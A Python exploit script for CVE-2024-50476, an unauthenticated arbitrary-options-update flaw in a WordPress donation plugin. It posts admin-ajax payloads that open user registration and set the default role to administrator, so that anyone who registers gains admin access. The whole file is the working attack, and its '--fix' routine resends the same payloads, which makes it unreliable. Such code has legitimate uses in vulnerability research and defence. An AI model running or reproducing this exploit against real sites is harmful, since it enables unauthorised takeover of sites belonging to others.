#!/usr/bin/env python3 import argparse import requests from getpass import getpass from bs4 import BeautifulSoup import os from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) ## Exploit script by @RandomRobbieBF user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" session = requests.Session() http_proxy = "" os.environ['HTTP_PROXY'] = http_proxy os.environ['HTTPS_PROXY'] = http_proxy def undoadmin(url): # Perform vulnerability check logic here print("Vulnerability check:", url) payloads = [{"action":"change-option","new_value":1,"option":"users_can_register"},{"action":"change-option","new_value":"administrator","option":"default_role"}] main_url = f"{url}/wp-admin/admin-ajax.php" for payload in payloads: ajax_response = session.post(main_url,data=payload, headers={"User-Agent": user_agent,"X-Requested-With": "XMLHttpRequest"},verify=False) ajax_response.raise_for_status() # Check if option set successfully if ajax_response.status_code == 200: print(f"Option set successfully: {main_url}") else: print(f"Failed to set option: {main_url}") exit() # Check if user registration is allowed register_url = f"{url}/wp-login.php?action=register" register_response = requests.get(register_url, headers={"User-Agent": user_agent},verify=False) if "Registration confirmation will be emailed to you" in register_response.text: print("Error: it looks like you can still register.") exit() else: print("Fixed: You can not longer register") def vulncheck(url): # Perform vulnerability check logic here print("Vulnerability check:", url) payloads = [{"action":"change-option","new_value":1,"option":"users_can_register"},{"action":"change-option","new_value":"administrator","option":"default_role"}] main_url = f"{url}/wp-admin/admin-ajax.php" for payload in payloads: ajax_response = session.post(main_url,data=payload, headers={"User-Agent": user_agent,"Content-Type":"application/x-www-form-urlencoded"},verify=False) ajax_response.raise_for_status() # Check if option set successfully if ajax_response.status_code == 200: print(f"Option set successfully: {main_url}") else: print(f"Failed to set option: {main_url}") exit() # Check if user registration is allowed register_url = f"{url}/wp-login.php?action=register" register_response = requests.get(register_url, headers={"User-Agent": user_agent},verify=False) if "Registration confirmation will be emailed to you" in register_response.text: print("You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.") exit() else: print("Registration is not avaliable for some reason could be a multisite?") # Add the vulnerability description as a comment DESCRIPTION = """ CVE-2024-50476 | GRÜN spendino Spendenformular <= 1.0.1 - Unauthenticated Arbitrary Options Update The GRÜN spendino Spendenformular – Mehr Spenden! Weniger Arbeit! plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check in all versions up to, and including, 1.0.1. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site. """ # Use argparse to get the URL, username, and password arguments parser = argparse.ArgumentParser(description=DESCRIPTION) parser.add_argument("-u", "--url", help="Website URL", required=True) parser.add_argument("-f", "--fix", help="Reset after Exploit") args = parser.parse_args() # Usage if args.fix: undoadmin(args.url) else: vulncheck(args.url)